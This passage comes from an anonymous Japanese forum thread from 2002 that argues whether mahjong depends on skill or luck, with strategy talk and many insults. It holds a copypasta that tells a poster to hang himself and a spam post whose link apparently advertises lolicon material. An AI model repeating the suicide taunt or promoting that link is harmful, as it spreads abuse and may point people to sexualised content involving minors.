本当に怖いのは裏に頼ってでも逆転に掛けてくる奴だと思うし、もうこれ以上は個人の
主観なんだけど、そういう奴こそ勇者として称えたいと思う。

最も「裏に頼る」といっても棒テン裏5とかそんなんじゃなく、タンピンドラ1で
さっさと和了れば2着確保なのに、例えば一盃口乗るまで(せめて高目で)我慢して、
低い確率とはいえ直撃+裏1〜に賭ける、そんな感じかな。まあいつもこういくとは
限らんし、2着でよしとせざるを得ない場面の方が多いのも事実だけど。
満貫圏内ってのはこれがうんとやりやすいから、目安にしてるんだよね。

「諦めない」て気持ちは諸刃の剣だけども、雀士の価値を決めるひとつの要素とも思う。
「2着でよし」てのは奇麗事だけども、最善の策ではなく次善の策だと思う。

458 :450:02/07/09 16:05
特に否定はしないよ、そんな考えもありだと思うし。
ただ個人的には平均着順率を悪くするほど
がむしゃらにトップを狙いにいったりはしない。
3着4着に落ちるリスクがでかいのなら安全に2着をとりにいく。
リーチ後の
一発、裏ドラ、直撃、赤、などの不確定要素はどれか1つなら
全然計算に入れていいと思うよ。
しかし、直撃+裏1を期待してってのはあんまりやんないかな。

459 ::02/07/09 16:05
麻雀の板の人ってみんな頭悪いのかなぁ・・・
なんか低レベルなことばっかいってるよ、
言ってる事が通じないって疲れるよなぁ・・・ふぅ

もういいや、君たちなりで勝手に結論を作ってくださいな。
俺はもう疲れました。君たちの勝手な論理に付き合うのも・・・

じゃあね。

460 :焼き鳥名無しさん:02/07/09 16:06
パチンコ業界人が質問に答えてくれる。結構面白い。

http://www8.plala.or.jp/nasuka/rumsses.htm

461 :焼き鳥名無しさん:02/07/09 16:06
>>1はもうこのスレには目を通さないようです。

462 ::02/07/09 16:08
あ、自分は馬鹿なのか・・・とか落ち込まなくていいよ

人間は無知のほうが幸せって事もあるだろうから
君たちはある意味恵まれてるよね・・・羨ましい、それじゃ

463 :焼き鳥名無しさん:02/07/09 16:10
>>1はもうこのスレには目を通さないようです。

464 :焼き鳥名無しさん :02/07/09 16:10
ここはアフォばっかりだな。
しょーがねーから最後に俺がおしえてやろう。

マージャンってもんに強い奴なんかいねえよ。

知識のあるやつが”強そう”に見えるだけなんだよ。

マージャンってのは、ようは時間のかかるジャンケンだな。
ジャンケンにもいろいろ統計ってあるだろ。
マージャンで偉そうにしてるやつってのは
勝ってから「おれはお前がチョキだすと思ったぜ」
とか言ってるやつとかわんねえw
わかったか?

465 :焼き鳥名無しさん:02/07/09 16:13
>>1は楽しいの?
見ていて哀れだよ…。



とりあえず、外の空気を吸ってごらん。

466 :焼き鳥名無しさん:02/07/09 17:24
たいしたタイトルじゃないのにたくさんレスついてるなw
ほっとけばいいんやない?w
そーですね、ほとんど運ですね、おめでとー

467 :東大生@駒場:02/07/09 17:35
>>1は麻雀の実力云々じゃなくて、麻雀という運の介入する領域の大きいゲームで勝つための研鑚を重ねる
ことのむなしさを言いたいのでは?
確かに不確定要素の介在する麻雀には将棋や囲碁と違い解答が無く、麻雀に精通している者が必ず勝つとは
限らない。つまり、麻雀なんかうまくなっても仕方ないということでは??

468 :焼き鳥名無しさん:02/07/09 17:54
>>1
あらら予定通りの展開だね
もっと論破してくれるかと期待してたけどこの辺が論破君の限界かな
全然論理的じゃないしレスにセンスのかけらも感じられないし
1番幸せなのは論破君あなたですよw

469 :アゲアシ スマソ:02/07/09 18:17
>>450
>はっきりゆってうまけりゃ勝つよ。
ワラタ

470 :焼き鳥名無しさん:02/07/09 18:42
お前ら
もう>>1は現れないらしいから
どんなに理路整然と>>1を批判しても無駄だぞw

471 :焼き鳥名無しさん:02/07/09 19:39
最後に結局相手を煽って自称論理派の>>1には大変ワラタ

472 :焼き鳥名無しさん:02/07/09 19:47
自分の意見に自信のないものがやると
言われる行動BEST3
Bすぐwをつけて余裕があると強調したがる。

A都合が悪いこといわれれると言った相手を煽るだけで
 論理で返そうとはしない。


@煽り=論破と勘違いしている。

以上の事から>>1は自分に自信がなくヘボと言われたことを
根に持ちスレを立ててレスした人を煽り自分を慰める
気の毒な厨房です。皆さんいじめるのはやめてあげましょう。
もっともこの書き込みを>>1が見たらまた煽るんでしょうね。
それもほとんど同じ言葉で

473 ::02/07/09 19:49
正直スマンカッタ

474 ::02/07/09 19:51
いやほんと麻雀は実力っす!
自分あなたたちみたいな強い方たちには一生オヨバナイッス!

475 :焼き鳥名無しさん:02/07/09 19:54
>>1はもうこないっていってるんだからいちいちageて煽ってんじゃねーよ
お前等、あーゆー馬鹿は無視すんのが一番なんだよ。
>>472みたいに長文で煽って悦にいってる勘違い野郎がいるからこの板は馬鹿ばっかとか
思われるんだよ、sageでやれ阿呆

476 ::02/07/09 19:55
>>472
アフォですか?(w
自分の頭が破綻していることも気づかずに(ププ
ひきこもりが何言っても説得力ないよ(w

まあこれだけ論破されてても
また性懲りも無く繰り返し屁理屈抜かすんだろうな
わかりやすすぎ(w

477 :焼き鳥名無しさん:02/07/09 19:57
確かに>>472って馬鹿っぽいな

478 :焼き鳥名無しさん:02/07/09 19:58
>>472は童貞

479 :焼き鳥名無しさん:02/07/09 19:58
>>472>>1

480 :焼き鳥名無しさん:02/07/09 19:59
>>472
きもすぎ

2chを分析しすぎ・・・

真正ヒキは麻雀を誰とやるんですか?

481 :476:02/07/09 19:59
さて
>>473-478のうちどれが本物の>>1でしょう?

482 :焼き鳥名無しさん:02/07/09 20:00
>>472を叩くスレになりますた

483 :焼き鳥名無しさん:02/07/09 20:08
>>476からジサクジエンが激しいな…

484 :476:02/07/09 20:15
>>476は=>>481でしかねーよ。
他は知らんけどね。
>>472が気の毒ですな

485 :焼き鳥名無しさん:02/07/09 20:38
何か>>190を思い出したのは俺だけ?
あの時もレスが急について>>1の自作自演説
が出たんだよなぁ実際このレスのつき方が
自作自演を物語ってると思われ強制IDにしたら
面白そうw

486 :焼き鳥名無しさん:02/07/09 20:40
>>477-480まで激しく投稿時間の差がないよ。
もう少し工夫したジサクジエンをキボンヌ

つーか粘着しすぎじゃないか?

487 :焼き鳥名無しさん:02/07/09 20:42
>>472まったくその通りですね
それを煽る輩が不思議でなりません

488 :472:02/07/09 21:21
そんなことより聞いてくれYO>>1よスレタイとはあんまり関係ないけどさ
ついさっきこのスレの>>1を煽ったんです>>1を。そしたらレスがいーっぱいで。
読みずらいんです

良くレス見たら俺の煽りに>>1が自作自演とかしてるんです
もうね
アホかと。バカかと。
お前な俺の煽り如きで普段してない自作自演すんじゃネーヨ
ボケが
俺の煽りだよ俺の煽り
なんか同じパターンの煽りだし。
5分立ってない連続してる自作自演か
おめでてぇな
「ちょ〜ぶんレスして調子乗ってんじゃねぇよ」
とか逝ってるの
もう見てらんないお前な厨房なのは分かったからさっさと消えろと。
このスレはなもっと殺伐とするべきなんだよこのスレにいる奴といつ
煽り合いが始まってもおかしくない削除するかされるか
そんな雰囲気がいいんじゃねーか自作自演はすっこんでろ。
でやっと見終わると思ったら、自作自演がみんなにばれてるんですよ
そこでまたブチ切れですよ、あのなばればれの自作自演なんて今日びはやんねんだよ
お前は本当に煽る気があるのかと
問いたい
問いつめたい
小一時間ほど問いつめたい
煽り通の俺から言わせてもらえば今煽り通の最新流行は
文字レスコピペ改造これだね文字レスコピペ改造これが通の煽り方
文字レスコピペ改造とは既存のネタの文字レスを変えて相手を煽る
でもこれで相手の欠点をつつくコレ。最強。
しかしこれをやると周りから叩かれる危険が伴う
諸刃の剣。素人にはお勧めできない
まあお前はド素人だから回線切って首つって死んでろと

489 :焼き鳥名無しさん:02/07/09 21:44
>>488
こんなに面白くない吉野家コピぺ初めてみた

490 :ロリ:02/07/09 21:57
ココ最高でした。サンプルとかタダだし、ネタとしては使えると思います。
ちなみに僕はロリです、同士な人はいってください。
http://muke.up.to

491 :焼き鳥名無しさん:02/07/09 22:01
>>488
(・A・)イクナイ!!

492 :焼き鳥名無しさん:02/07/09 22:03
>>488
個人的にはワラタ

493 :焼き鳥名無しさん:02/07/09 22:18
>>488
こんなに微妙な吉野家コピぺ初めてみた

494 :焼き鳥名無しさん:02/07/09 23:51
いや、もうどちらでもいいよ。

495 :焼き鳥名無しさん:02/07/10 00:00
マン毛だろ、マン毛。

496 :焼き鳥名無しさん:02/07/10 00:29
いや、チム毛だ。

497 :M21:02/07/10 02:26
麻雀に実力はある。
あなたが麻雀を覚えたての時、勝てましたか?今のあなたと、どちらが強かったですか?
おそらく今の方が勝てたんじゃないですか?それを「実力」と言うんじゃないですか?
確かに半荘1回とかでは運の要素が強いとこは事実です。しかし「確率は収束する」のです。
何回もやれば最終的に手順通りに打っている者が、勝つのです。
だから長いスパンでみることが大切です。ツイテいない半荘の時に、他家がリーチ即ヅモなんかやれば、運だなと思うこともあります。しかし、それはあなたにも在り得ることじゃないですか?
「麻雀は運だ」という人は、では何を信じて麻雀を打っているのですか?
例えば、両面を残してカンチャンをきらう。これは確率を重視していますよね。
つまり、カンチャンをきらった方がアガルする確率は高い。
アガル確率が高いと言うことは、点棒を集め易い。点棒を集める確率が高いと言うことは、トップになりやすい。
簡単に言えば、この繰り返しだと思います。
あなたはただ半荘単位でしか麻雀を見ていないのではないですか?強いと言われるプロの麻雀をしっかり見たことがありますか?
タイトルを何個も取っているプロの麻雀を。私も一時期運だと思ったことはあります。
しかし、そこで我慢してこそ(麻雀なんか運じゃん!と思わない)、真の実力者になると思います。

498 :1:02/07/10 02:35
文章が稚拙なので読む気になりません

499 :焼き鳥名無しさん:02/07/10 02:48
外国の方にしては日本語がお上手ですね。

500 :焼き鳥名無しさん:02/07/10 02:50
もうこのスレには来ないはずの
>>1がキタ━━━━━━(゚∀゚)━━━━━━ !!

501 :焼き鳥名無しさん:02/07/10 02:57
1がきたー

502 :焼き鳥名無しさん:02/07/10 17:48
>>498->>500
(・∀・)ジサクジエンデシタ!

503 :焼き鳥名無しさん:02/07/10 19:14
(・∀・)ジサクジエン ワル!(・∀・)ワル カコイイ!

504 :焼き鳥名無しさん:02/07/10 19:26
>>497
おまえなぁ、その最初の行の「確率は収束する」って言葉ダイキライなんだよ
頭悪いやつがよく使う

505 :焼き鳥名無しさん:02/07/10 19:31
はじめの頃はただ知らなかっただけだろ?456が当たりやすいとか

506 :焼き鳥名無しさん:02/07/10 19:35
>>505
>>497が言うのはそれがわかる=実力らしいです( ´,_ゝ`)プッ

507 :焼き鳥名無しさん:02/07/10 20:47
>>504

>>497はただの妄想野郎です
『確率は収束する』
一般には確率は収束しません
それをいうなら『麻雀の成績は収束する』です

結論 
>>497は厨房です

508 :焼き鳥名無しさん:02/07/10 21:01
>497
4人でやるゲームだぞ、麻雀は。「自分に都合のよい展開」が実力とやらで訪れるか?
それこそ「運」のおかげで訪れると思うんだけど。まあいくらおめーが強くたってな
自分の力で勝ったのではないぞ。そのツモの性能のおかげだということを忘れるな! 

509 :ppp:02/07/10 21:17
そりゃあゼンツッパするような奴と打てば実力(?)がものをいうかもしれんが
同じようなレベル同士のやつが打ち合えばほぼ運で決まりや 
麻雀を半荘単位で考えるなだと?バカか?その1局が重要なんじゃボケ!!

510 :焼き鳥名無しさん:02/07/10 21:45
運も実力も常に介在する。
問題はどれぐらい影響を与えるかだが、
半荘単位とかだと運が占める割合が大きく、
実力が占める割合が小さい。
1000半荘とか長い目で見るなら
実力が占める割合が大きく、
運が占める割合が小さい。

511 :焼き鳥名無しさん:02/07/10 21:45
>>509
(´-`)oO(同じレベルの奴同士でやればどの競技も運じゃないのかなぁ)

512 :焼き鳥名無しさん:02/07/10 22:19
>>510
半荘単位でも相手がド下手なら実力の割合が大きい。
例えば、第2の下ランレベルだったら、半荘単位でも最悪2着に食い込める自信はある。
実際、こないだ新規IDで始めて100半荘までの成績だと、
1着40%、2着50%、3着10%、4着なし。くらいの成績は取れた。

513 :焼き鳥名無しさん:02/07/10 22:30
512へ

第2の下ランレベルでそれじゃあ、お前に実力はねえよ。
最低2着といっても50%も占めるんじゃたいしたことはない。

514 :焼き鳥名無しさん:02/07/10 22:54
あれこれグダグダ言っても結局ほんとの所はわかんねーよな。ドラゴンボールの
スカウタ―あれば便利だなー。「麻雀力たったの5・・・ゴミめ」とかw

515 :上等だね:02/07/10 23:00
>>514
すんげーいいこと言ってると思う。

516 :☆猫目侍☆:02/07/10 23:05
(☆゚ー゚)/@にゃるにゃる♪

簡単にゃ。
ツモ→運
打牌・食い仕掛け→実力

517 :514:02/07/10 23:14
と言っても、こうやって話していて結論で無いんだから、そんな機械作れるわけも
ない(藁)ついでに言いたいのは「確率は収束する」とかいう奴、ほんとにそう
思うか?一生に1度も天和和了れない奴もいれば、2度3度上がるヤシもいる。
和了り点で結局は収束する、というのも詭弁。そんなの俺ら人間が勝手につけた点数
に過ぎない。0と100以外の確率は絶対ではない。第一確率つっても人間が
そこに介在する以上、歪む。気まぐれでポンチーされただけで歪む。
やっぱ難しいね、麻雀は

518 :☆猫目侍☆:02/07/10 23:21
(☆゚ー゚)/@にゃるにゃる♪

何要ってるかわかんないにゃ。

519 :焼き鳥名無しさん:02/07/10 23:22
512と513は、今から東風荘の捨てハン作って100半荘打ち、その結果を晒せ。

できないなら口先だけのへたれ。下ラン以下のゴミ。

520 :焼き鳥名無しさん:02/07/10 23:55
>>1-520
=
牌効率だのスジだの、もっともらしい単語知って上級者気取りだが、
その実、全ツッパの初心者にあっさり負けるヘボ集団。ワラワラ

521 :焼き鳥名無しさん:02/07/11 00:23
運だと言う人は何が言いたいの?
自分が勝てないのは運だ!としか思えないないけど・・
そう理屈つけて自分の実力を認めないだけじゃないですか?
違うのなら、競技麻雀で上位になってみるのがいいですね。
ほとんどの人がまだまだ勉強が足りなかったと思うことでしょう。

522 :焼き鳥名無しさん:02/07/11 00:42
このスレがまさかここまで伸びるとは思わなかった

523 :☆猫目侍☆:02/07/11 00:55
(*゚ー゚)/@にゃる

ネタスレにゃ。

524 :焼き鳥名無しさん:02/07/11 03:07
>>517
確 率 は 収 束 し ま せ ん

525 :焼き鳥名無しさん:02/07/11 04:53
お前数学出来なかったろ?

526 :524:02/07/11 04:58
うるせ〜
この高卒野郎

527 :焼き鳥名無しさん:02/07/11 17:20
(´-`)oO(麻雀に実力が関係あるかないかの話のはずなのに最近ずれてるなぁ)

528 :焼き鳥名無しさん:02/07/11 17:23
実力は関係ない

529 :焼き鳥名無しさん:02/07/11 17:23
むしろ才能

530 :焼き鳥名無しさん:02/07/11 17:29
才能に一票

531 :焼き鳥名無しさん:02/07/11 17:43
むしろ気合

532 :daisangen:02/07/11 18:21
jygf

533 :リーチ:02/07/11 18:22
麻雀に必要なのは運だけだろ
だいたい実力も運もたいして変わんないじゃん。
実力って相手の待ち牌を予測する能力のことだろ。
予測である以上、これは運によって左右されるものなのじゃないのかな。(重要)
90%相手の待ちがわかっても運がわるけりゃ残りの10%を
引いてしまう可能性があるのだから。
たしかに相手の待ちを90%までしぼったのは実力だ。
しかし残りの10%をひいてしまったのは運だ。
そうだろ???

つまりだ、実力の根底は、運のお導きのもとにあるということだ.
Q.E.D 証明終了

534 :焼き鳥名無しさん:02/07/11 18:29
>>533
(´-`)oO(それじゃ90%は実力じゃん)

535 :焼き鳥名無しさん:02/07/11 18:32
>>533
ははは
そんなことじゃいつまでたってもRは上がらないよ
Rが上がるほど上がりにくく下がりやすくなるだろ?
でも上に居続けることができるってことは
運以外の要素が働いてるってことだろ?
論理的に思考しろよ

536 :焼き鳥名無しさん:02/07/11 18:37
多重で2000台維持してますが何か?

537 :焼き鳥名無しさん:02/07/11 18:52
>>535
上位に居続ける奴は、他人より運がいい奴なんだよ。
いいかげん分かれよ。

538 :焼き鳥名無しさん:02/07/11 18:56
>>537
複数HNを持ってて
すべて2000を超えてても運か?

539 :焼き鳥名無しさん:02/07/11 19:08
運って言ってる方はなんでやってるのですか?
これは煽りではありません。マジレスして欲しいです。

540 :焼き鳥名無しさん:02/07/11 19:11
>>539
自分が下手なのを運のせいにしてるんだよ

541 :焼き鳥名無しさん:02/07/11 19:18
>>538
すべて運です。

542 :焼き鳥名無しさん:02/07/11 19:27
大学を落ちたのも、女に振られたのも、
貧乏なのも、麻雀が弱いのも、全部運です。

543 :焼き鳥名無しさん:02/07/11 19:31
極論ばっか。

544 :焼き鳥名無しさん:02/07/11 19:36
>>533
>実力って相手の待ち牌を予測する能力のことだろ。

それだけかよw
手順とか状況判断とかあるだろw

545 :焼き鳥名無しさん:02/07/11 19:36
誰がなんと言おうと

麻 雀 は お も し ろ い

以上

546 :焼き鳥名無しさん :02/07/11 19:39
>>1はドラえもんのドンジャラでもやってろ

547 :焼き鳥名無しさん:02/07/11 19:45
実力って言ってる奴は、なんで麻雀やってるわけ?
東風でR高い奴と当たったら、勝つの諦めちゃうんでしょ?

548 :焼き鳥名無しさん:02/07/11 19:48
運だけとか思ってるやつはなんで麻雀やってんの?
金目当てか?

549 :焼き鳥名無しさん:02/07/11 20:10
545がいい事言った

550 :焼き鳥名無しさん:02/07/11 20:30
547の言ってる様な行動をとるやつはいないと思われ

551 :焼き鳥名無しさん:02/07/11 20:43
>>547
自分のRより高いやつはそうそういないから大丈夫。

552 :焼き鳥名無しさん:02/07/11 20:53
>>547
じゃああなたはなんで生きてるわけ?
相手の方が優れてると思ったら努力やめちゃうんでしょ?

553 :547:02/07/11 22:12
おれは麻雀も人生も運偏重だと思ってるから気楽にやってるよ。
もっとも、おれより優れたやつはそうそういないけどね。ゲラーリ

554 :焼き鳥名無しさん:02/07/11 22:19
(´-`)oO(ぶっちゃけ麻雀で運を消費するなんて時間の無駄だなぁ)

555 :焼き鳥名無しさん:02/07/11 23:26
>>547
つか麻雀に運の要素以外の実力を見出せないようなやつが
自らを優秀というとは幽囚の変換ミスか?(藁
私もR高いからなそういう事態に陥ったことがない

556 :焼き鳥名無しさん:02/07/11 23:28
麻雀は 運   4割
    実力  4割
    精神状態2割
くらいでない?

557 :焼き鳥名無しさん:02/07/11 23:31
>>1
ぶわぁーはっはっはっはぁ。
相当の馬鹿だな、お前。
「Shoichi」とか、「雀鬼」とか、
「超絶」とか「雀鬼様への道」とかを
読んでみそ。

558 :焼き鳥名無しさん:02/07/11 23:32
>>556
私的には
実力7割
運2割
精神状態1割

559 :焼き鳥名無しさん:02/07/11 23:34
実力3
精神力、集中力5
運2
だな
ブルペンピッチャーはいらん
実戦派が強い

560 :焼き鳥名無しさん:02/07/11 23:34
>>554
それを言ったら麻雀に時間を使うこと自体が無意味というか愚かというか

561 :焼き鳥名無しさん:02/07/11 23:41
起家で天和を2回連続出されたら
どれだけ実力があっても勝てません>実力のみによると言う人
天和もしくは地和を出すか配牌聴牌でない限り、
全部ツモ切りしていては絶対勝てません
全部ツモ切りしない能力を含めて
どの牌を切るのかを選ぶ能力を実力と言うので
運だけでは(滅多に)勝てません>運のみによると言う人
極論ですが以上により勝つためには実力と運の
両方が必要と言う事がわかります。
ただし極めて稀に運のみで勝てる場合もあります。

562 :焼き鳥名無しさん:02/07/11 23:44
運も含めて実力ってのはダメ?

563 :焼き鳥名無しさん:02/07/11 23:44
力3運7

564 :焼き鳥名無しさん:02/07/11 23:44
>>561
そうだな
ヘタクソは降りるってこと知らないから
時々馬鹿ヅキするな
まぁそれがいい記憶として脳内に記録され
麻雀は運のみと思ってしまうんだろうが

565 :焼き鳥名無しさん:02/07/12 00:14
イカサマなら間違いなく実力の差がでるんだがな。桜井と腕一本かけた勝負で
勝てる気がしない。手積みなら絶望的。ぶっこ抜きもローズも出来ませんが何か?

566 :焼き鳥名無しさん:02/07/12 00:31
下手な奴ほど運の要素が大きいと言い張る。
上手い奴ほどそれ以外の要素が大きいと言う。

567 :焼き鳥名無しさん:02/07/12 01:17
桜井桜井って、彼はイカサマだったんだぞ!
安藤とか荒とかの鳳凰位戦見てみろ!
運だという奴は。

568 :焼き鳥名無しさん:02/07/12 01:28
↑イカサマって誰にでも出来るの?それこそ必死こいて練習しないとできねーだろ。

569 :焼き鳥名無しさん:02/07/12 01:42
>>568
お前の顔がイカサマ

570 :焼き鳥名無しさん:02/07/12 07:06
麻雀をやる前
「麻雀は運だろ」
  ↓
麻雀にのめり込んで専門書、雑誌、漫画wで研究
メキメキ上手くなる
「麻雀は実力だろ」
  ↓
壁にぶち当たる。熱心に研究してなかった奴も
何年もやってれば自分と同じぐらいのレベルまではすぐ来る。
決定的な実力差がほとんど無くなる。
「麻雀は運だろ・・・」
  ↓
(・ε・)プップクプー

571 :焼き鳥名無しさん:02/07/12 13:14
547の方、
まず答えて下さい。質問返しって大人げないよ。

572 :焼き鳥名無しさん:02/07/12 14:03
>>570
>麻雀をやる前
>「麻雀は運だろ」

なんでやる前に判断できるんだよw

573 :☆猫目侍☆:02/07/12 14:40
(*゚ー゚)/@にゃる

>>572
黒人はみんな運動神経やリズム感が強い。
クラシックはお堅くてハイソな音楽。
味噌汁にヨーグルトを入れるなんて信じられない!

君はこういう先入観を全く持ってないと言えるのかにゃ?(☆゚ー゚)/@にゃるにゃる♪

574 :焼き鳥名無しさん:02/07/12 14:47
実力が全く関係してないってコトは絶対にない。

だが殆どが運のゲームだ

575 :焼き鳥名無しさん:02/07/12 16:21
1位をとるのは運の要素がでかいな
ただ4位を取るのは下手なだけであって
運の問題じゃない
よって運じゃない
判る?

576 :  :02/07/12 16:26
様々なところに運が絡んでくるのが麻雀じゃないか?

577 :焼き鳥名無しさん:02/07/12 16:28
>>575
判る?とか言いつつ全く論理がなってない。
かっこええわ

578 :焼き鳥名無しさん:02/07/12 17:00
(´-`)oO(他の競技より運の要素が強いだけで実力もいるって)

579 :焼き鳥名無しさん:02/07/12 17:11
>>575みたいなこと言う奴って結構いる。

「トップは運に恵まれなきゃ取れないけど、ラス回避は実力でなんとかなる」
ってやつね。
見てると、ベタ降り覚えた程度の、「日和見麻雀」打つ奴がこういうこと言うね。
そうじゃない麻雀も勉強すれば、トップ取るのも実力だってことがわかってくる。

経験積んでいろいろ勉強して、その結果「実力」だと思うか「運」だと思うか、
それは、その人の感覚だと思うんだけど、
「トップは運でラス回避は実力」なんてこと言うと、
初心者を抜け出した程度の青二才だなぁ〜って思われるのが関の山。
恥ずかしいからやめたほうがいいぞ

580 :焼き鳥名無しさん:02/07/12 17:12
(´-`)oO(同感)

581 :焼き鳥名無しさん:02/07/12 17:14
>>579
あんまり本当のことを言うと>>575がかわいそうだぞ。

582 :焼き鳥名無しさん:02/07/12 17:18
>>578
一言が結論で(・∀・)イイ!と思うのは俺だけか?

583 :焼き鳥名無しさん:02/07/12 17:19
いや、こういう指摘は匿名掲示板でやっとく方が本人のためだと思うんだ。
俺のリアル友達でもさ、たいして強くない奴なんだけど、
後輩に向かって偉そうに
「勝つことじゃなくて負けないことを考えろ」
なんて薀蓄たれるんだよね。

後輩連中は「なるほど」なんて聞いてるんだけど、
俺らはそいつのこと、「あいつ強くねーよなぁ。ププ」なんて陰でバカにしてるわけ。
つーかカモだし(w

というわけで、こういう匿名掲示板で指摘しとけば、
575はリアルで恥をかかずにすむわけだろ?人助けだよ。

584 :焼き鳥名無しさん:02/07/12 17:52
振込まなきゃ上手いと思っているドヘタいるよね

585 :焼き鳥名無しさん:02/07/12 18:02
なぜ1位を取るのが運だと思うのだろう…

全ツッパかベタオリオンリーのカスには運に感じてしまうのかねぇ

586 :焼き鳥名無しさん:02/07/12 18:05
ベタオリでも良いけど、先制リーチして攻める時に攻める。
特に先制リーチ率や先制フーロ率が重要なトップになる要素やと思われ

そりゃあ点数いっぱい取らなあかんしあたりまえか

587 :焼き鳥名無しさん:02/07/12 18:06
先制リーチや先制フーロがトップを取るために重要?

じゃあポンジャンは最強じゃないっすか!

588 :焼き鳥名無しさん:02/07/12 18:07
ポンジャンって何ですか?

589 :焼き鳥名無しさん:02/07/12 18:08
全ツッパでトップとりゃ殆ど運みたいなもんだよな、確かに。

590 :焼き鳥名無しさん:02/07/12 18:09
>>589
振ってても意味ないと思われ

591 :  :02/07/12 18:27
なんだかんだ言っても実力だけじゃ勝てないヨ。

592 :焼き鳥名無しさん:02/07/12 18:28
>>591
誰が実力だけで勝てるって言ってたのか聞きたい

593 :  :02/07/12 18:34
>>592
いつ「実力だけで勝てる」って誰かが言ったって書いた?

594 :ちっぱん ◆pChnLpNk:02/07/12 18:45
オールスターにちなんで既出だが野球での喩えを。

どんな実力のあるバッターでも、一打席の結果では
格下のバッターに劣ることがしばしばある。言い方を
換えれば、その一打席で結果を出せるかどうか、には
実力だけでどうにもならない部分、すなわち運に左右
される部分が少なからずある。
だからといって、「バッターの成績に実力は関係ない」
と言えるはずは無い。優秀な打者は「その一打席で良い
結果を残す可能性がもっとも大きい」のである。
麻雀でもこれと同じことが言える。

595 :  :02/07/12 18:49
>>594
ほぼ禿同

596 :ちっぱん ◆pChnLpNk:02/07/12 18:56
野球のバッターの話だが、長打力とか打点とかは
とりあえず置いといて、打率だけに限れば、最高の
打者と最低の打者の打率は、せいぜい15%ほどしか
違わない。すなわち、「成功率15%の差」ってのは、
とてつもなく大きな実力差ってわけだ。
これをそのまま麻雀に置き換えるのは無理があるが、
麻雀でも15%勝率が違うとすれば、それはとてつもない
実力差が数字に表れてる、といえるかもしれん。ところが、
「その一半荘」において、実力どおりの序列が表れないこと
も、15%程度の勝率差では十分に起こりえるわけだ。
そこに実力差を感じられないようでは技術の向上は見込め
ないじゃなかろーか。

597 :焼き鳥名無しさん:02/07/12 19:03
>>591は揚げ足取りでいっぱいいっぱい

>>ちっぱん
色々同意なコトを述べてるが基本的にガイシュツ

598 :焼き鳥名無しさん:02/07/12 19:08
>>597
この件に関してガイシュツで無い意見って今更無いとおもわれ

599 :焼き鳥名無しさん:02/07/12 19:51
>全ツッパかベタオリオンリーのカスには運に感じてしまうのかねぇ

正直、それに対する判断力が優れてるだけでも中々の打ち手になれると思う。
麻雀において、ある意味一番大事な能力だと思うが。

600 :焼き鳥名無しさん:02/07/12 19:54
(´-`)oO(実力が要るって言ってるのまとめると>>578が全てだよなぁ)

601 :575:02/07/12 20:05
一位31.2%
二位33.8%
三位18.2%
四位16.9%
これじゃ弱いか?

602 :焼き鳥名無しさん:02/07/12 20:31
>>601
なんの成績?

603 :焼き鳥名無しさん:02/07/12 20:46
>601
んなもん見せられたってわかるわけが無い。お前が今までどんな戦い方してきたか
誰と戦ってきたか、どれだけ麻雀を知っているか。そっちの方がずっと大事だ。
つーかあんま無理するなw

604 :ちっぱん ◆pChnLpNk:02/07/12 20:55
お言葉ですが、どんな戦い方をしてたか、とかはあんまり関係ない。
誰がそれを判定するんだ?っていう問題がある。誰かの主観よりは、
数字に表れる結果のほうが、麻雀の実力を判定するにはよっぽど有
効だと思う。
それから、誰と戦ってきたか、なんてのは、まるで意味がないんじゃ
ないかな。言うまでも無いが、点5のフリーなんていっても、そのレ
ベルや傾向は千差万別だろう。「京田辺市の田中らと勝負してきた」
などといっても、説明にならないでしょ。メンツの評価の基準としては、
日本最大の雀荘すなわち東風荘がもっとも的確だろうが、それを
スタンダードに比較することは、ルールの特異性という面で不可能
ではないかな。
どれだけ麻雀を知っているか、なんてのもよくわからん。私は結構
詳しいほうだと思うが、麻雀の知識のおかげで得したことは一度も無い。

605 :焼き鳥名無しさん:02/07/12 20:58
>日本最大の雀荘すなわち東風荘がもっとも的確
よくそんなことが言えるなぁ

それこそジャン力調べにはならないって

606 :焼き鳥名無しさん:02/07/12 20:58
>>603
運だけだったらどんな打ち方してようが関係ないジャン

607 :ちっぱん ◆pChnLpNk:02/07/12 21:05
>>605

だってさ、それ以外にどこの雀荘のメンツで比べるわけ?
「お前は京都フォーユーではメンバーのTレベルだ」とか言って、
ネット掲示板で何らかの指標になると思う?

608 :603:02/07/12 22:07
まあ変な言い方になっちゃったけど、「やって見ないとわからない」んだよね。
数字だけ出されてもさ。

だけど、どんな相手とやってきたか、ってのは絶対大事だよ。601の言ってる、何の
確証も無い数字がもし、小島プロとかをずっと相手取ってきてのものだったら、これは
驚異的だよ。でもテキトーな仲間を家に集めて、中には酔っ払っているような奴らを
相手にほろ酔い気分の中やってこれだったとしても、どう判断していいかわからん。
もしかしたら接待麻雀かも知んないんだぞ、601の言ってるのは。

試合に勝たなきゃならないプロ野球とかなら成績に紛れもでないだろうけど
「勝たなくてもいい」素人の麻雀の成績を鵜呑みにしすぎるのはどうだろか?
ほんといい加減に打つ人も中にはいるんだよね、これが。

609 :焼き鳥名無しさん:02/07/12 22:10
>>597
( ´ー`)y-~~~  言い負かされるとそれか…

610 :焼き鳥名無しさん:02/07/12 22:15
もっと謙虚な姿勢で打とう

勝った時
運がよかっただけで、ミスの打牌もいくつかあったからもっと勉強しよう

負けた時
実力がなかった、打牌のミスを無くすよう努力しよう

って考えればいいのでは?

611 :焼き鳥名無しさん:02/07/12 22:24
610がいい事いった。自分の力で勝ったなどと思わないことだね

612 :焼き鳥名無しさん:02/07/12 22:27
>>610
ええ話や...

613 :焼き鳥名無しさん:02/07/12 22:43
ちっぱんって前から麻雀理論を偉そうに語ってるけど
ただの東風厨なの?

614 :焼き鳥名無しさん:02/07/12 22:54
>>608
(゚Д゚)ハア?相手によるんだったら麻雀に実力関係あるじゃん

615 :焼き鳥名無しさん:02/07/12 22:58
>>613
東風厨であり屁度厨でもある。他にも色々。

616 :焼き鳥名無しさん:02/07/12 23:16
おれは、議論スレにちっぱんが出てきたら退散することにしている。

617 :焼き鳥名無しさん:02/07/12 23:16
そのこころは?

618 :上等だね:02/07/13 00:32
運も実力のうち。それでいいじゃないか。俺は運は2割位だとおもっとる。
ってか振らなけりゃ上手いと思ってるやつは確かにいる。
そういうやつは、大抵自分には運が無いとか、よく当り牌つかむとかいいだす。
そして先制リーチされると、チートイツばかりあがろうとしてくる。

619 :そのこころは:02/07/13 00:41
              + ロリータ +

620 :焼き鳥名無しさん:02/07/13 04:56
東一局2順目で親の国士くらってはこりました
その人の第1打は南でした
これって振り込んだ俺が下手ですか?
運のみですか?

